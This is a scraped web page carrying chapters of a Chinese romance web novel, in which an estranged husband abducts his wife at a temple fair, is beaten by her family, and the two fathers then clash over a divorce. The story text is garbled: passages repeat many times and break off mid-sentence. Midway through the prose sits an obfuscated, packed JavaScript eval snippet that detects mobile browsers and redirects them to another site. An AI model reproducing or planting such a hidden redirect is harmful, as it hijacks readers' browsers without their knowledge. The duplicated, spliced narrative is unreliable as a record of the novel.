他想,萧清禾又没有受伤瘫痪过,她凭什么这样判定他呢? 他们还没有和离呢,萧家却始终不肯让他见她,若非如此,他怎么会用这样的手段与她见面? 他只是想当面跟她说说话,求她回心转意而已,他怎么就狭隘自私了? 萧家带了那么多随从,沈清渊也守在曹春喜身边,他们能出什么事呢? 萧清禾不过是故意借机挑刺罢了。 就因为不爱了,他在她眼里就变得一无是处! “禾儿,不要预设没有发生过的事,你我两情相悦,两家又是世交,没有人比我更适合你,过去发生的事我已经不记得了,你也忘记跟我重新开始,好吗?” 卫凌泽低低开口,他微垂着头,巷子里光线太暗,萧清禾看不清他的表情,却毫不犹豫地回答:“不行,我忘不掉。” 他不止对她不好,还害**他们的孩子。 她这辈子都不会原谅。 萧清禾刚说完,手腕就被死死扣住,整个人也被抵在巷壁之上。 被卫凌泽伤害过太多次,萧清禾顿时察觉到危险,她心底一慌,正要喊人,巷口突然闪过一道寒光。 下一刻,凛冽的风声袭来。 萧夜辰如同鬼魅出现,一剑劈在巷壁之上。 铮的一声,火花四溅,短暂地照亮小小的空间,也照亮卫凌泽惊讶铁青的脸。 萧夜辰的动作太快,卫凌泽只能放开萧清禾躲开。 然而萧夜辰并不罢休,提着刀飞快逼近。 长剑在巷壁上划出难听的声音,带起一路火花。 不等卫凌泽反应过来,萧夜辰改变招式,刁钻地提剑刺来。 巷内无光,卫凌泽根本捕捉不到萧夜辰的动作,很快胳膊上就挨了两剑。 萧夜辰是真的想杀了他! 生命受到威胁,卫凌泽后背发寒,他试图抵挡,却完全不是萧夜辰的对手,只能节节败退。 “萧夜辰,我知道是你,你若真的杀了我,卫家和萧家都要不死不休!” 卫凌泽厉喝出声,希望能阻止萧夜辰,然而萧夜辰的动作却越来越快,下手也越来越重。 这个疯子! 卫凌泽暗骂,就在他以为自己今天要死在这里时,巷中突然出现一人拦住了萧夜辰。 身后还有很多脚步声,卫凌泽松了口气,以为是行舟带人来了,下一刻却被狠狠踹倒在地,然后他听见曹春喜兴奋的声音。 “禾儿在这儿,大家快来抓刺客,打死他,别让他跑了!” 卫凌泽:“……” 性情大变,如今你失了忆,却还是如此行事,说明你本来就是这样的人。” 暗色中,卫凌泽的瞳孔轻轻震颤。 他原本想着借口失忆就能把这些日子发生的事都揭过去,可他没想到萧清禾会因为今日这件小事这样说他。 他想辩解,一时却不知该如何开口,这时萧清禾又继续道:“卫凌泽,你的喜欢实在是太狭隘了,就算你没有受伤,就算三年前我们如期成婚,我想,我们也是走不长远的。” 萧清禾的语气非常冷静,不带一点儿意气用事。 她说他不是因为受伤才变成现在这样的,而是他本来就是这样的人,而且就算没有春喜从中作梗,他们也走不长。 她终究会发现他的真面目,然后对他失望死心。 就好像他是个彻头彻尾的**子,不管如何伪装,都无法改变本质。 这样的话实在是太狠太刺痛人了,卫凌泽心底控制不住涌起暴戾。 他想,萧清禾又没有受伤瘫痪过,她凭什么这样判定他呢? 他们还没有和离呢,萧家却始终不肯让他见她,若非如此,他怎么会用这样的手段与她见面? 他只是想当面跟她说说话,求她回心转意而已,他怎么就狭隘自私了? 萧家带了那么多随从,沈清渊也守在曹春喜身边,他们能出什么事呢? 萧清禾不过是故意借机挑刺罢了。 就因为不爱了,他在她眼里就变得一无是处! “禾儿,不要预设没有发生过的事,你我两情相悦,两家又是世交,没有人比我更适合你,过去发生的事我已经不记得了,你也忘记跟我重新开始,好吗?” 卫凌泽低低开口,他微垂着头,巷子里光线太暗,萧清禾看不清他的表情,却毫不犹豫地回答:“不行,我忘不掉。” 他不止对她不好,还害**他们的孩子。 她这辈子都不会原谅。 萧清禾刚说完,手腕就被死死扣住,整个人也被抵在巷壁之上。 被卫凌泽伤害过太多次,萧清禾顿时察觉到危险,她心底一慌,正要喊人,巷口突然闪过一道寒光。 下一刻,凛冽的风声袭来。 萧夜辰如同鬼魅出现,一剑劈在巷壁之上。 铮的一声,火花四溅,短暂地照亮小小的空间,也照亮卫凌泽惊讶铁青的脸。 萧夜辰的动作太快,卫凌泽只能放开萧清禾躲开。 然而萧夜辰并不罢休,提着刀飞快逼近。 长剑在巷壁上划出难听的声音,带起一路火花。 不等卫凌泽反应过来,萧夜辰改变招式,刁钻地提剑刺来。 巷内无光,卫凌泽根本捕捉不到萧夜辰的动作,很快胳膊上就挨了两剑。 萧夜辰是真的想杀了他! 生命受到威胁,卫凌泽后背发寒,他试图抵挡,却完全不是萧夜辰的对手,只能节节败退。 “萧夜辰,我知道是你,你若真的杀了我,卫家和萧家都要不死不休!” 卫凌泽厉喝出声,希望能阻止萧夜辰,然而萧夜辰的动作却越来越快,下手也越来越重。 这个疯子! 卫凌泽暗骂,就在他以为自己今天要死在这里时,巷中突然出现一人拦住了萧夜辰。 身后还有很多脚步声,卫凌泽松了口气,以为是行舟带人来了,下一刻却被狠狠踹倒在地,然后他听见曹春喜兴奋的声音。 “禾儿在这儿,大家快来抓刺客,打死他,别让他跑了!” 卫凌泽:“……” 性情大变,如今你失了忆,却还是如此行事,说明你本来就是这样的人。” 暗色中,卫凌泽的瞳孔轻轻震颤。 他原本想着借口失忆就能把这些日子发生的事都揭过去,可他没想到萧清禾会因为今日这件小事这样说他。 他想辩解,一时却不知该如何开口,这时萧清禾又继续道:“卫凌泽,你的喜欢实在是太狭隘了,就算你没有受伤,就算三年前我们如期成婚,我想,我们也是走不长远的。” 萧清禾的语气非常冷静,不带一点儿意气用事。 她说他不是因为受伤才变成现在这样的,而是他本来就是这样的人,而且就算没有春喜从中作梗,他们也走不长。 她终究会发现他的真面目,然后对他失望死心。 就好像他是个彻头彻尾的**子,不管如何伪装,都无法改变本质。 这样的话实在是太狠太刺痛人了,卫凌泽心底控制不住涌起暴戾。 他想,萧清禾又没有受伤瘫痪过,她凭什么这样判定他呢? 他们还没有和离呢,萧家却始终不肯让他见她,若非如此,他怎么会用这样的手段与她见面? 他只是想当面跟她说说话,求她回心转意而已,他怎么就狭隘自私了? 萧家带了那么多随从,沈清渊也守在曹春喜身边,他们能出什么事呢? 萧清禾不过是故意借机挑刺罢了。 就因为不爱了,他在她眼里就变得一无是处! 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这样的话实在是太狠太刺痛人了,卫凌泽心底控制不住涌起暴戾。 他想,萧清禾又没有受伤瘫痪过,她凭什么这样判定他呢? 他们还没有和离呢,萧家却始终不肯让他见她,若非如此,他怎么会用这样的手段与她见面? 他只是想当面跟她说说话,求她回心转意而已,他怎么就狭隘自私了? 萧家带了那么多随从,沈清渊也守在曹春喜身边,他们能出什么事呢? 萧清禾不过是故意借机挑刺罢了。 就因为不爱了,他在她眼里就变得一无是处! “禾儿,不要预设没有发生过的事,你我两情相悦,两家又是世交,没有人比我更适合你,过去发生的事我已经不记得了,你也忘记跟我重新开始,好吗?” 卫凌泽低低开口,他微垂着头,巷子里光线太暗,萧清禾看不清他的表情,却毫不犹豫地回答:“不行,我忘不掉。” 他不止对她不好,还害**他们的孩子。 她这辈子都不会原谅。 萧清禾刚说完,手腕就被死死扣住,整个人也被抵在巷壁之上。 被卫凌泽伤害过太多次,萧清禾顿时察觉到危险,她心底一慌,正要喊人,巷口突然闪过一道寒光。 下一刻,凛冽的风声袭来。 萧夜辰如同鬼魅出现,一剑劈在巷壁之上。 铮的一声,火花四溅,短暂地照亮小小的空间,也照亮卫凌泽惊讶铁青的脸。 萧夜辰的动作太快,卫凌泽只能放开萧清禾躲开。 然而萧夜辰并不罢休,提着刀飞快逼近。 长剑在巷壁上划出难听的声音,带起一路火花。 不等卫凌泽反应过来,萧夜辰改变招式,刁钻地提剑刺来。 巷内无光,卫凌泽根本捕捉不到萧夜辰的动作,很快胳膊上就挨了两剑。 萧夜辰是真的想杀了他! 生命受到威胁,卫凌泽后背发寒,他试图抵挡,却完全不是萧夜辰的对手,只能节节败退。 “萧夜辰,我知道是你,你若真的杀了我,卫家和萧家都要不死不休!” 卫凌泽厉喝出声,希望能阻止萧夜辰,然而萧夜辰的动作却越来越快,下手也越来越重。 这个疯子! 卫凌泽暗骂,就在他以为自己今天要死在这里时,巷中突然出现一人拦住了萧夜辰。 身后还有很多脚步声,卫凌泽松了口气,以为是行舟带人来了,下一刻却被狠狠踹倒在地,然后他听见曹春喜兴奋的声音。 “禾儿在这儿,大家快来抓刺客,打死他,别让他跑了!” 卫凌泽:“……” 性情大变,如今你失了忆,却还是如此行事,说明你本来就是这样的人。” 暗色中,卫凌泽的瞳孔轻轻震颤。 他原本想着借口失忆就能把这些日子发生的事都揭过去,可他没想到萧清禾会因为今日这件小事这样说他。 他想辩解,一时却不 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“禾儿,不要预设没有发生过的事,你我两情相悦,两家又是世交,没有人比我更适合你,过去发生的事我已经不记得了,你也忘记跟我重新开始,好吗?” 卫凌泽低低开口,他微垂着头,巷子里光线太暗,萧清禾看不清他的表情,却毫不犹豫地回答:“不行,我忘不掉。” 他不止对她不好,还害**他们的孩子。 她这辈子都不会原谅。 萧清禾刚说完,手腕就被死死扣住,整个人也被抵在巷壁之上。 被卫凌泽伤害过太多次,萧清禾顿时察觉到危险,她心底一慌,正要喊人,巷口突然闪过一道寒光。 下一刻,凛冽的风声袭来。 萧夜辰如同鬼魅出现,一剑劈在巷壁之上。 铮的一声,火花四溅,短暂地照亮小小的空间,也照亮卫凌泽惊讶铁青的脸。 萧夜辰的动作太快,卫凌泽只能放开萧清禾躲开。 然而萧夜辰并不罢休,提着刀飞快逼近。 长剑在巷壁上划出难听的声音,带起一路火花。 不等卫凌泽反应过来,萧夜辰改变招式,刁钻地提剑刺来。 巷内无光,卫凌泽根本捕捉不到萧夜辰的动作,很快胳膊上就挨了两剑。 萧夜辰是真的想杀了他! 生命受到威胁,卫凌泽后背发寒,他试图抵挡,却完全不是萧夜辰的对手,只能节节败退。 “萧夜辰,我知道是你,你若真的杀了我,卫家和萧家都要不死不休!” 卫凌泽厉喝出声,希望能阻止萧夜辰,然而萧夜辰的动作却越来越快,下手也越来越重。 这个疯子! 卫凌泽暗骂,就在他以为自己今天要死在这里时,巷中突然出现一人拦住了萧夜辰。 身后还有很多脚步声,卫凌泽松了口气,以为是行舟带人来了,下一刻却被狠狠踹倒在地,然后他听见曹春喜兴奋的声音。 “禾儿在这儿,大家快来抓刺客,打死他,别让他跑了!” 卫凌泽:“……” 性情大变,如今你失了忆,却还是如此行事,说明你本来就是这样的人。” 暗色中,卫凌泽的瞳孔轻轻震颤。 他原本想着借口失忆就能把这些日子发生的事都揭过去,可他没想到萧清禾会因为今日这件小事这样说他。 他想辩解,一时却不知该如何开口,这时萧清禾又继续道:“卫凌泽,你的喜欢实在是太狭隘了,就算你没有受伤,就算三年前我们如期成婚,我想,我们也是走不长远的。” 萧清禾的语气非常冷静,不带一点儿意气用事。 她说他不是因为受伤才变成现在这样的,而是他本来就是这样的人,而且就算没有春喜从中作梗,他们也走不长。 她终究会发现他的真面目,然后对他失望死心。 就好像他是个彻头彻尾的**子,不管如何伪装,都无法改变本质。 这样的话实在是太狠太刺痛人了,卫凌泽心底控制不住涌起暴戾。 他想,萧清禾又没有受伤瘫痪过,她凭什么这样判定他呢? 他们还没有和离呢,萧家却始终不肯让他见她,若非如此,他怎么会用这样的手段与她见面? 他只是想当面跟她说说话,求她回心转意而已,他怎么就狭隘自私了? 萧家带了那么多随从,沈清渊也守在曹春喜身边,他们能出什么事呢? 萧清禾不过是故意借机挑刺罢了。 就因为不爱了,他在她眼里就变得一无是处! “禾儿,不要预设没有发生过的事,你我两情相悦,两家又是世交,没有人比我更适合你,过去发生的事我已经不记得了,你也忘记跟我重新开始,好吗?” 卫凌泽低低开口,他微垂着头,巷子里光线太暗,萧清禾看不清他的表情,却毫不犹豫地回答:“不行,我忘不掉。” 他不止对她不好,还害**他们的孩子。 她这辈子都不会原谅。 萧清禾刚说完,手腕就被死死扣住,整个人也被抵在巷壁之上。 被卫凌泽伤害过太多次,萧清禾顿时察觉到危险,她心底一慌,正要喊人,巷口突然闪过一道寒光。 下一刻,凛冽的风声袭来。 萧夜辰如同鬼魅出现,一剑劈在巷壁之上。 铮的一声,火花四溅,短暂地照亮小小的空间,也照亮卫凌泽惊讶铁青的脸。 萧夜辰的动作太快,卫凌泽只能放开萧清禾躲开。 然而萧夜辰并不罢休,提着刀飞快逼近。 长剑在巷壁上划出难听的声音,带起一路火花。 不等卫凌泽反应过来,萧夜辰改变招式,刁钻地提剑刺来。 巷内无光,卫凌泽根本捕捉不到萧夜辰的动作,很快胳膊上就挨了两剑。 萧夜辰是真的想杀了他! 生命受到威胁,卫凌泽后背发寒,他试图抵挡,却完全不是萧夜辰的对手,只能节节败退。 “萧夜辰,我知道是你,你若真的杀了我,卫家和萧家都要不死不休!” 卫凌泽厉喝出声,希望能阻止萧夜辰,然而萧夜辰的动作却越来越快,下手也越来越重。 这个疯子! 卫凌泽暗骂,就在他以为自己今天要死在这里时,巷中突然出现一人拦住了萧夜辰。 身后还有很多脚步声,卫凌泽松了口气,以为是行舟带人来了,下一刻却被狠狠踹倒在地,然后他听见曹春喜兴奋的声音。 “禾儿在这儿,大家快来抓刺客,打死他,别让他跑了!” 卫凌泽:“……” 性情大变,如今你失了忆,却还是如此行事,说明你本来就是这样的人。” 暗色中,卫凌泽的瞳孔轻轻震颤。 他原本想着借口失忆就能把这些日子发生的事都揭过去,可他没想到萧清禾会因为今日这件小事这样说他。 他想辩解,一时却不知该如何开口,这时萧清禾又继续道:“卫凌泽,你的喜欢实在是太狭隘了,就算你没有受伤,就算三年前我们如期成婚,我想,我们也是走不长远的。” 萧清禾的语气非常冷静,不带一点儿意气用事。 她说他不是因为受伤才变成现在这样的,而是他本来就是这样的人,而且就算没有春喜从中作梗,他们也走不长。 她终究会发现他的真面目,然后对他失望死心。 就好像他是个彻头彻尾的**子,不管如何伪装,都无法改变本质。 这样的话实在是太狠太刺痛人了,卫凌泽心底控制不住涌起暴戾。 他想,萧清禾又没有受伤瘫痪过,她凭什么这样判定他呢? 他们还没有和离呢,萧家却始终不肯让他见她,若非如此,他怎么会用这样的手段与她见面? 他只是想当面跟她说说话,求她回心转意而已,他怎么就狭隘自私了? 萧家带了那么多随从,沈清渊也守在曹春喜身边,他们能出什么事呢? 萧清禾不过是故意借机挑刺罢了。 就因为不爱了,他在她眼里就变得一无是处! “禾儿,不要预设没有发生过的事,你我两情相悦,两家又是世交,没有人比我更适合你,过去发生的事我已经不记得了,你也忘记跟我重新开始,好吗?” 卫凌泽低低开口,他微垂着头,巷子里光线太暗,萧清禾看不清他的表情,却毫不犹豫地回答:“不行,我忘不掉。” 他不止对她不好,还害**他们的孩子。 她这辈子都不会原谅。 萧清禾刚说完,手腕就被死死扣住,整个人也被抵在巷壁之上。 被卫凌泽伤害过太多次,萧清禾顿时察觉到危险,她心底一慌,正要喊人,巷口突然闪过一道寒光。 下一刻,凛冽的风声袭来。 萧夜辰如同鬼魅出现,一剑劈在巷壁之上。 铮的一声,火花四溅,短暂地照亮小小的空间,也照亮卫凌泽惊讶铁青的脸。 萧夜辰的动作太快,卫凌泽只能放开萧清禾躲开。 然而萧夜辰并不罢休,提着刀飞快逼近。 长剑在巷壁上划出难听的声音,带起一路火花。 不等卫凌泽反应过来,萧夜辰改变招式,刁钻地提剑刺来。 巷内无光,卫凌泽根本捕捉不到萧夜辰的动作,很快胳膊上就挨了两剑。 萧夜辰是真的想杀了他! 生命受到威胁,卫凌泽后背发寒,他试图抵挡,却完全不是萧夜辰的对手,只能节节败退。 “萧夜辰,我知道是你,你若真的杀了我,卫家和萧家都要不死不休!” 卫凌泽厉喝出声,希望能阻止萧夜辰,然而萧夜辰的动作却越来越快,下手也越来越重。 这个疯子! 卫凌泽暗骂,就在他以为自己今天要死在这里时,巷中突然出现一人拦住了萧夜辰。 身后还有很多脚步声,卫凌泽松了口气,以为是行舟带人来了,下一刻却被狠狠踹倒在地,然后他听见曹春喜兴奋的声音。 “禾儿在这儿,大家快来抓刺客,打死他,别让他跑了!” 卫凌泽:“……” 第269章 处置了又如何? 春喜一声吼萧家的随从全都冲了上来卫凌泽根本没有机会解释只能承受众人的拳打脚踢。 萧清月和萧清阳第一时间来到萧清禾身边细细查看后确定她没事才松了口气。 萧清月刚刚也有些被吓到对掳走萧清禾的人怨念很重她咬牙怒道:“什么人这么大胆竟敢故意生事掳走阿姐我定要将他**万段!” 萧清阳也黑沉着脸准备好好惩治罪魁祸首下一刻却听到萧清禾说:“月儿、二哥带走我的不是别人是卫凌泽。” “……”??? 萧清阳命令随从退开把蜷缩在地上的卫凌泽拎起来萧清月提着灯笼凑近照亮卫凌泽的脸。 虽然被打得鼻青脸肿但从五官还是能分辨出这就是卫凌泽。 “还真的是侄婿啊”春喜夸张地惊呼“侄婿刚刚怎么不说话巷子里这么黑我还以是刺客呢没给你打出什么好歹来吧?” 春喜语气里都是幸灾乐祸巴不得趁乱打死卫凌泽才好。 萧清月也很生气冲着卫凌泽就是一顿骂:“卫凌泽你有病吗你为什么要偷偷掳走阿姐?难道阿姐不肯原谅你你就要用这样龌龊的手段来害阿姐?” 卫凌泽浑身上下都很疼憋了一肚子的气但现在人多 “萧家派了这么多随从跟着禾儿身边怎么可能无人保护侄婿你眼神不好看错了吧”春喜反驳不等卫凌泽辩解又道“而且方才的骚动不就是侄婿让贴身小厮弄出来的吗人都已经被巡夜司抓到了侄婿还想继续睁眼说瞎话吗?” 行舟被抓了? 卫凌泽握紧拳头猛然偏头看向春喜。 发生这样的骚乱按照常理他们应该自顾不暇就算稳住了人群发现萧清禾不见踪影也该先到处寻找萧清禾怎可能这么快抓到行舟? 卫凌泽分不清春喜是在诈自己还是今日出来逛庙会本就是春喜引诱他犯错设下的局。 卫凌泽的眼神有些可怕春喜很坦然地跟他对视:“侄婿这么盯着我做什么你忘了过去三**总不会连刚刚发生的事也记不住吧?” 卫凌泽抿着唇不说话很快巡夜司的人也赶到了。 检使官匆匆赶来看到这平平无奇的窄巷里**了这么多尊大佛只觉得头皮发麻。 这都腊月了,他还盼着安安稳稳过个好年呢,怎么又出事了? 外面不是说话的地方,众人跟着检使官回了巡夜司。 行舟和卫家的几个随从确实都被抓到了,也有人证证明就是他们动手把花灯弄掉,导致人群发生骚动。 行舟自然是不敢攀咬卫凌泽的,把所有的事都扛下来,但他毕竟是卫凌泽的贴身小厮,萧清云和萧清阳都不相信卫凌泽真的不知情,要求检使官严惩。 检使官不敢轻易做出判决,只能派人去卫萧两家报信。 很快,云氏和卫父率先赶来。 见卫凌泽被打得鼻青脸肿,胳膊上还有剑伤,云氏顿时惊呼出声:“泽儿,发生什么事了,谁把你打成这样的?” 检使官把事情的经过大致说了一遍:“当时巷子里很黑,什么都看不见,萧家的随从急于寻找萧大小姐,错把卫少爷认成了刺客,这才动的手。” 双方关系瞧着很不好,检使官对萧清禾的称呼都从卫少夫人变成了萧大小姐。 云氏听得气堵,忍不住指着卫凌泽胳膊上的伤质问:“我儿伤成这样,这叫认错了?就算真的是绑匪,萧家的人也不能随意处置吧?” 云氏气势汹汹,检使官不敢得罪她,求助地看向萧家众人,萧清云站出来:“卫凌泽命令随身小厮制造混乱,趁机掳走禾儿,若非我们及时赶到,还不知道发生什么,是他行事阴暗在先,萧家为何不能处置他?” 萧清云只比沈清渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086524|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小两岁,他早已入仕,在翰林院任职,一身气度沉稳矜贵,虽不比萧父有气势,但也能独当一面。 他并不惧怕跟卫家撕破脸,语气冷硬,言下之意卫凌泽今晚挨的揍都是自找的。 之前萧家这些晚辈对云氏都是恭敬有加的,猛然被萧清云如此顶撞,云氏气得不轻,然而不等她反驳,萧清阳的声音幽幽响起。 “今晚好多无辜百姓都在混乱时因踩踏受伤,他们之中有好些都是进京赶考的寒门子弟,陛下和太子殿下都很惜才,我们和禾儿受到惊吓不要紧,若是因此伤到国之栋梁就不好了。” 萧清阳最后这句“国之栋梁”让卫父变了脸色。 因为卫凌泽,陛下已经几次提醒卫父要严抓对族中儿郎的教导劝诫,明显是觉得他治家不严。 今日之事若只是小两口闹别扭,那还没什么,但那些寒门子弟最是喜欢写文章抨击世家权贵,若是处理不好,卫家被扣上一个草菅人命的帽子,传入陛下耳中那就糟了。 卫父很快想清楚利弊,板着脸呵斥云氏:“我早就说过慈母多败儿,你连事情的来龙去脉都没有弄清楚,就一味地护着这个逆子,日后他还不知道要干出多少丢人现眼的事来。” 卫父语气严厉,威压十足,云氏被吼得浑身一震,没了气势,也不敢反驳,只恶狠狠地咬牙。 萧家如今是真的半点不顾念跟卫家的交情了! 卫父顾不上为卫凌泽脱罪,先问检使官那些受伤的寒门子弟多不多,伤势严不严重,得到的回答却是:“请卫大人放心,萧家已经派人将受伤的百姓和学子送去回春堂就诊了,所有的费用都由萧家出,回春堂的大夫会尽全力救治伤者,定然是不会闹出人命的。” 卫父沉默。 有回春堂的大夫救治伤者,人命肯定是出不了的,但萧家抢占了先机,只怕不会善罢甘休。 第270章 卫家就等着颜面扫地吧 怕萧家借题发挥,卫父不敢偏袒卫凌泽,直接放话让检使官从重处置。 就算行舟把所有的事都担了下来,但卫凌泽也有治下不严的罪。 做了决断,卫父不敢耽搁,立刻又去了回春堂。 此时已经是后半夜,庙会都散了,到处恢复平静,回春堂却是灯火通明。 被踩伤的人挺多的,虽然伤势都不重,但人数太多,整个回春堂都忙碌起来,萧父更是亲自带着萧家的下人帮着大夫一起救治伤者。 卫父找到萧父时,萧父正蹲在一个年轻学子身旁帮他扶着胳膊好让大夫用木棍给他固定伤处。 这学子伤的是右手,大夫诊断了,骨头没断,就是扭伤了。 萧父温声宽慰:“这几日你不能用手,萧家会通知客栈的人特别照顾你的起居,在你伤好之前,你所有的食宿萧家都包了,萧家明日还会聘一位德高望重的先生专门为大家答疑解惑,你也不必担心会落下课业。” 好端端的逛个庙会却遭了无妄之灾,众人心里都是有怨气的,但被萧家人带到回春堂得到妥善安置后,众人心里就怨念全无,只剩下感激。 原来世家名门也不全都是眼高于顶、瞧不起寒门的存在,萧家人不仅明事理,考虑事情还十分周到,这样的世家才配成为经久不衰的百年世家! “我只是受的一点小伤,过几日就好了,而且当时若不是萧家两位少爷反应迅速,带人灭火维持秩序,后果不堪设想,应该是我等感谢萧家才是。” 那学子说着有些哽咽,明显是要感动哭了。 卫父看得眼皮微跳,他连忙上前,走到萧父身旁说:“这位郎君说得对,今夜之事乃是卫家的责任,应该卫家全权负责才是。” 卫父带了不少人来,这些人也迅速加入一起帮忙,众人的痛呼哀叫声渐渐弱了下去。 看到卫父,萧父原本温和的脸顿时冷了下来,他没给卫父面子,沉声怒道:“卫兄,你我两家是世交,不管两个孩子有什么矛盾,都可以好好商量,怎么能牵连无辜呢?” 卫父:“……” 不是你们不让泽儿跟禾儿见面的吗,现在知道要好好商量了? 卫父暗骂萧父是老狐狸,人前一套人后一套,但眼下萧家已经收买了人心,他不好当众跟萧父起争执,只能软着语气说:“萧兄说的是,是我没有管教好儿子,我已让巡夜司从重处置,绝不会袒护这个逆子,萧兄若觉得不够,等巡夜司处置完,我再带着逆子亲自登门赔罪。” 卫父把姿态放得很低 ,萧父叹了口气,感慨道:“卫兄,你我两家是世交,能结为姻亲原本是极好的事,我原以为两个孩子走到今日,是因为泽儿受伤后受到的打击太大所致,可泽儿这次大病后已然失忆,行事却还是如此不计后果,我才知原来这么多年竟是我看错了人害了禾儿。” 说到最后,萧父红了眼,声音跟着放轻,满满的都是老父亲对女儿的疼惜愧疚。 在场的人顿时肃了脸色,露出义愤填膺之色。 萧家大小姐出阁前的名声一直都很好,现在萧父如此痛惜,一定是卫家没有教好儿子,辜负了他。 而且听萧父的意思,卫家这小子应该很能装,连萧父都骗了过去。 卫父被萧父的话惊得眼皮狂跳,原本卫凌泽装失忆,是为了把过去这段时间做的荒唐事都揭过去,萧家没有追究卫凌泽是真失忆还是装的,很容易就接受了,现在却借着今日之事,把卫凌泽整个人都否定了,如此以来,卫家的家风也会受累。 卫父连忙辩解:“萧兄,泽儿对禾儿是真心的,这些日子他在病中念得最多的就是禾儿的名字,今日之事虽然是他的错,但他对禾儿绝对是痴心一片啊。” “呵!”萧父冷笑,“他不顾无辜者的性命安危,故意制造混乱将禾儿单独带走,甚至还险些害禾儿的两位兄长和妹妹受伤,这样的爱,禾儿消受不起!” 在场的人是因为卫凌泽才受伤的,都很赞同萧父的话。 虽说感情是两个人之间的事,但真的喜欢一个人,便会爱屋及乌,想她所想,爱她所爱,卫凌泽连萧清禾的骨肉至亲都能伤害,这算哪门子的爱呢? 卫父脸上臊得慌,他知道卫家不占理,软着语气带了哀求:“萧兄,咱们两家到底还是姻亲关系,能不能借一步说话?” 这里人多嘴杂,再闹下去,不知道会传出什么样的风言风语来。 卫父诚心恳求,萧父到底还是没有把局面闹得太难看,跟着卫父去到回春堂后院的一个空房间。 门一关,卫父立刻道:“萧兄,泽儿最近行事确实很不像话,但他已经被停职也算是受到惩罚了,咱们两家是多年的世交,断不能让两个孩子再这样闹下去,请萧兄再给泽儿一次机会,只要禾儿愿意回来,卫家的掌家权可以全部交给她,萧兄还有什么要求都可以提。” 卫父语气诚恳,只希望两家能重修旧好。 萧父冷眼睨着他:“在卫兄眼里,我萧家是这种卖女求荣的人吗?” “萧兄,我不是这个意思……” 卫父连忙解释,然而刚说了一句,就被萧父打断:“以禾儿在卫家受的委屈,便是杀了卫凌泽我都不能解气,如今萧家只是要求和离,已经很顾念跟卫家的交情了。” 萧父态度强硬,卫父心头发凉,还是腆着老脸道:“萧兄,泽儿会改的。” 萧父没接这话,只道:“最近谣言四起,都在说禾儿难以有孕,不该耍小性子逼卫家处理掉那个私生子,这些谣言怎么来的,卫兄心里想必比谁都清楚,卫家一边在暗地泼脏水,一边又在这里演深情不负,真当我萧家人都是傻子吗?” “萧兄,咱们是多年好友,你应该了解我是绝对不可能做这种事的。” 卫父肃着脸辩解,萧父笑得嘲讽:“卫兄没有做,卫家其他人呢,总不能是我萧家人往自己头上扣屎盆子吧?” 卫父哑然失声,片刻后,又听到萧父说:“两个孩子好聚好散,咱们两家还能维持一些体面,如若不然,卫家就等着颜面扫地吧。” ,萧父叹了口气,感慨道:“卫兄,你我两家是世交,能结为姻亲原本是极好的事,我原以为两个孩子走到今日,是因为泽儿受伤后受到的打击太大所致,可泽儿这次大病后已然失忆,行事却还是如此不计后果,我才知原来这么多年竟是我看错了人害了禾儿。” 说到最后,萧父红了眼,声音跟着放轻,满满的都是老父亲对女儿的疼惜愧疚。 在场的人顿时肃了脸色,露出义愤填膺之色。 萧家大小姐出阁前的名声一直都很好,现在萧父如此痛惜,一定是卫家没有教好儿子,辜负了他。 而且听萧父的意思,卫家这小子应该很能装,连萧父都骗了过去。 卫父被萧父的话惊得眼皮狂跳,原本卫凌泽装失忆,是为了把过去这段时间做的荒唐事都揭过去,萧家没有追究卫凌泽是真失忆还是装的,很容易就接受了,现在却借着今日之事,把卫凌泽整个人都否定了,如此以来,卫家的家风也会受累。 卫父连忙辩解:“萧兄,泽儿对禾儿是真心的,这些日子他在病中念得最多的就是禾儿的名字,今日之事虽然是他的错,但他对禾儿绝对是痴心一片啊。” “呵!”萧父冷笑,“他不顾无辜者的性命安危,故意制造混乱将禾儿单独带走,甚至还险些害禾儿的两位兄长和妹妹受伤,这样的爱,禾儿消受不起!” 在场的人是因为卫凌泽才受伤的,都很赞同萧父的话。 虽说感情是两个人之间的事,但真的喜欢一个人,便会爱屋及乌,想她所想,爱她所爱,卫凌泽连萧清禾的骨肉至亲都能伤害,这算哪门子的爱呢? 卫父脸上臊得慌,他知道卫家不占理,软着语气带了哀求:“萧兄,咱们两家到底还是姻亲关系,能不能借一步说话?” 这里人多嘴杂,再闹下去,不知道会传出什么样的风言风语来。 卫父诚心恳求,萧父到底还是没有把局面闹得太难看,跟着卫父去到回春堂后院的一个空房间。 门一关,卫父立刻道:“萧兄,泽儿最近行事确实很不像话,但他已经被停职也算是受到惩罚了,咱们两家是多年的世交,断不能让两个孩子再这样闹下去,请萧兄再给泽儿一次机会,只要禾儿愿意回来,卫家的掌家权可以全部交给她,萧兄还有什么要求都可以提。” 卫父语气诚恳,只希望两家能重修旧好。 萧父冷眼睨着他:“在卫兄眼里,我萧家是这种卖女求荣的人吗?” “萧兄,我不是这个意思……” 卫父连忙解释,然而刚说了一句,就被萧父打断:“以禾儿在卫家受的委屈,便是杀了卫凌泽我都不能解气,如今萧家只是要求和离,已经很顾念跟卫家的交情了。” 萧父态度强硬,卫父心头发凉,还是腆着老脸道:“萧兄,泽儿会改的。” 萧父没接这话,只道:“最近谣言四起,都在说禾儿难以有孕,不该耍小性子逼卫家处理掉那个私生子,这些谣言怎么来的,卫兄心里想必比谁都清楚,卫家一边在暗地泼脏水,一边又在这里演深情不负,真当我萧家人都是傻子吗?” “萧兄,咱们是多年好友,你应该了解我是绝对不可能做这种事的。” 卫父肃着脸辩解,萧父笑得嘲讽:“卫兄没有做,卫家其他人呢,总不能是我萧家人往自己头上扣屎盆子吧?” 卫父哑然失声,片刻后,又听到萧父说:“两个孩子好聚好散,咱们两家还能维持一些体面,如若不然,卫家就等着颜面扫地吧。” 